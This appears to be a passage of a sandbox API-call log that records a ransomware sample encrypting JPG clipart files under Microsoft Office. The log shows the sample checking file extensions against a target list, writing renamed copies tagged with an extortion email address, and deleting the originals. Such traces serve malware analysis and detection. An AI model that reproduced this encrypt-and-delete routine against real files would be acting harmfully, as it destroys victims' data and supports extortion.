	[0180.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.150] lstrlenW (lpString=".jpg") returned 4
	[0180.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.150] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.150] lstrlenW (lpString="J0175361.JPG") returned 12
	[0180.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.231] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=46461) returned 1
	[0180.231] CloseHandle (hObject=0x55c) returned 1
	[0180.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 0x220
	[0180.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.232] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.232] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.261] GetLastError () returned 0x0
	[0180.261] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xb57d, lpOverlapped=0x0) returned 1
	[0180.264] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xb580, lpOverlapped=0x0) returned 1
	[0180.266] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.266] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.266] SetEndOfFile (hFile=0x57c) returned 1
	[0180.266] CloseHandle (hObject=0x57c) returned 1
	[0180.266] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.266] SetEndOfFile (hFile=0x55c) returned 1
	[0180.269] CloseHandle (hObject=0x55c) returned 1
	[0180.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 1
	[0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.272] lstrlenW (lpString=".doc") returned 4
	[0180.272] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.272] lstrlenW (lpString=".docx") returned 5
	[0180.272] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0180.272] lstrlenW (lpString=".pdf") returned 4
	[0180.272] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.272] lstrlenW (lpString=".xls") returned 4
	[0180.272] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.272] lstrlenW (lpString=".xlsx") returned 5
	[0180.272] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0180.272] lstrlenW (lpString=".ppt") returned 4
	[0180.272] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.272] lstrlenW (lpString=".zip") returned 4
	[0180.272] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.272] lstrlenW (lpString=".rar") returned 4
	[0180.272] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.272] lstrlenW (lpString=".bz2") returned 4
	[0180.272] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.272] lstrlenW (lpString=".7z") returned 3
	[0180.272] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.272] lstrlenW (lpString=".dbf") returned 4
	[0180.272] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".1cd") returned 4
	[0180.273] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".jpg") returned 4
	[0180.273] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".doc") returned 4
	[0180.273] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString=".docx") returned 5
	[0180.273] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0180.273] lstrlenW (lpString=".pdf") returned 4
	[0180.273] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.273] lstrlenW (lpString=".xls") returned 4
	[0180.273] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.273] lstrlenW (lpString=".xlsx") returned 5
	[0180.273] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0180.273] lstrlenW (lpString=".ppt") returned 4
	[0180.273] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".zip") returned 4
	[0180.273] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.273] lstrlenW (lpString=".rar") returned 4
	[0180.273] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.273] lstrlenW (lpString=".bz2") returned 4
	[0180.273] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString=".7z") returned 3
	[0180.273] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".dbf") returned 4
	[0180.273] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.273] lstrlenW (lpString=".1cd") returned 4
	[0180.273] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68
	[0180.274] lstrlenW (lpString=".jpg") returned 4
	[0180.274] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.274] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.274] lstrlenW (lpString="J0175428.JPG") returned 12
	[0180.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.275] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=14552) returned 1
	[0180.275] CloseHandle (hObject=0x55c) returned 1
	[0180.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 0x220
	[0180.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.276] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.276] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.277] GetLastError () returned 0x0
	[0180.277] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x38d8, lpOverlapped=0x0) returned 1
	[0180.278] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x38e0, lpOverlapped=0x0) returned 1
	[0180.280] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.280] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.280] SetEndOfFile (hFile=0x57c) returned 1
	[0180.280] CloseHandle (hObject=0x57c) returned 1
	[0180.280] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.280] SetEndOfFile (hFile=0x55c) returned 1
	[0180.282] CloseHandle (hObject=0x55c) returned 1
	[0180.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 1
	[0180.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.287] lstrlenW (lpString=".doc") returned 4
	[0180.287] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.287] lstrlenW (lpString=".docx") returned 5
	[0180.287] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0180.287] lstrlenW (lpString=".pdf") returned 4
	[0180.287] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.287] lstrlenW (lpString=".xls") returned 4
	[0180.287] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.287] lstrlenW (lpString=".xlsx") returned 5
	[0180.287] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0180.287] lstrlenW (lpString=".ppt") returned 4
	[0180.287] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".zip") returned 4
	[0180.288] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.288] lstrlenW (lpString=".rar") returned 4
	[0180.288] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.288] lstrlenW (lpString=".bz2") returned 4
	[0180.288] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.288] lstrlenW (lpString=".7z") returned 3
	[0180.288] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".dbf") returned 4
	[0180.288] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".1cd") returned 4
	[0180.288] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".jpg") returned 4
	[0180.288] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".doc") returned 4
	[0180.288] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.288] lstrlenW (lpString=".docx") returned 5
	[0180.288] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0180.288] lstrlenW (lpString=".pdf") returned 4
	[0180.288] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.288] lstrlenW (lpString=".xls") returned 4
	[0180.288] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.288] lstrlenW (lpString=".xlsx") returned 5
	[0180.288] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0180.288] lstrlenW (lpString=".ppt") returned 4
	[0180.288] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.288] lstrlenW (lpString=".zip") returned 4
	[0180.288] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.289] lstrlenW (lpString=".rar") returned 4
	[0180.289] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.289] lstrlenW (lpString=".bz2") returned 4
	[0180.289] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.289] lstrlenW (lpString=".7z") returned 3
	[0180.289] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.289] lstrlenW (lpString=".dbf") returned 4
	[0180.289] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.289] lstrlenW (lpString=".1cd") returned 4
	[0180.289] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68
	[0180.289] lstrlenW (lpString=".jpg") returned 4
	[0180.289] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.289] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.289] lstrlenW (lpString="J0177257.JPG") returned 12
	[0180.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.290] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=45358) returned 1
	[0180.290] CloseHandle (hObject=0x55c) returned 1
	[0180.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 0x220
	[0180.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.290] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.291] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.291] GetLastError () returned 0x0
	[0180.291] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xb12e, lpOverlapped=0x0) returned 1
	[0180.511] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xb130, lpOverlapped=0x0) returned 1
	[0180.512] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.512] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.513] SetEndOfFile (hFile=0x57c) returned 1
	[0180.513] CloseHandle (hObject=0x57c) returned 1
	[0180.513] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.513] SetEndOfFile (hFile=0x55c) returned 1
	[0180.549] CloseHandle (hObject=0x55c) returned 1
	[0180.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 1
	[0180.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.550] lstrlenW (lpString=".doc") returned 4
	[0180.550] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.550] lstrlenW (lpString=".docx") returned 5
	[0180.550] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0180.550] lstrlenW (lpString=".pdf") returned 4
	[0180.550] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.550] lstrlenW (lpString=".xls") returned 4
	[0180.550] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.550] lstrlenW (lpString=".xlsx") returned 5
	[0180.551] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0180.551] lstrlenW (lpString=".ppt") returned 4
	[0180.551] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString=".zip") returned 4
	[0180.551] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.551] lstrlenW (lpString=".rar") returned 4
	[0180.551] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.551] lstrlenW (lpString=".bz2") returned 4
	[0180.551] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.551] lstrlenW (lpString=".7z") returned 3
	[0180.551] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString=".dbf") returned 4
	[0180.551] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString=".1cd") returned 4
	[0180.551] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString=".jpg") returned 4
	[0180.551] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.551] lstrlenW (lpString=".doc") returned 4
	[0180.551] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.551] lstrlenW (lpString=".docx") returned 5
	[0180.551] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0180.551] lstrlenW (lpString=".pdf") returned 4
	[0180.551] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.551] lstrlenW (lpString=".xls") returned 4
	[0180.551] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.551] lstrlenW (lpString=".xlsx") returned 5
	[0180.551] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0180.551] lstrlenW (lpString=".ppt") returned 4
	[0180.551] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.552] lstrlenW (lpString=".zip") returned 4
	[0180.552] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.552] lstrlenW (lpString=".rar") returned 4
	[0180.552] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.552] lstrlenW (lpString=".bz2") returned 4
	[0180.552] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.552] lstrlenW (lpString=".7z") returned 3
	[0180.552] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68
	[0180.552] lstrlenW (lpString=".dbf") returned 4
	[0180.552] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
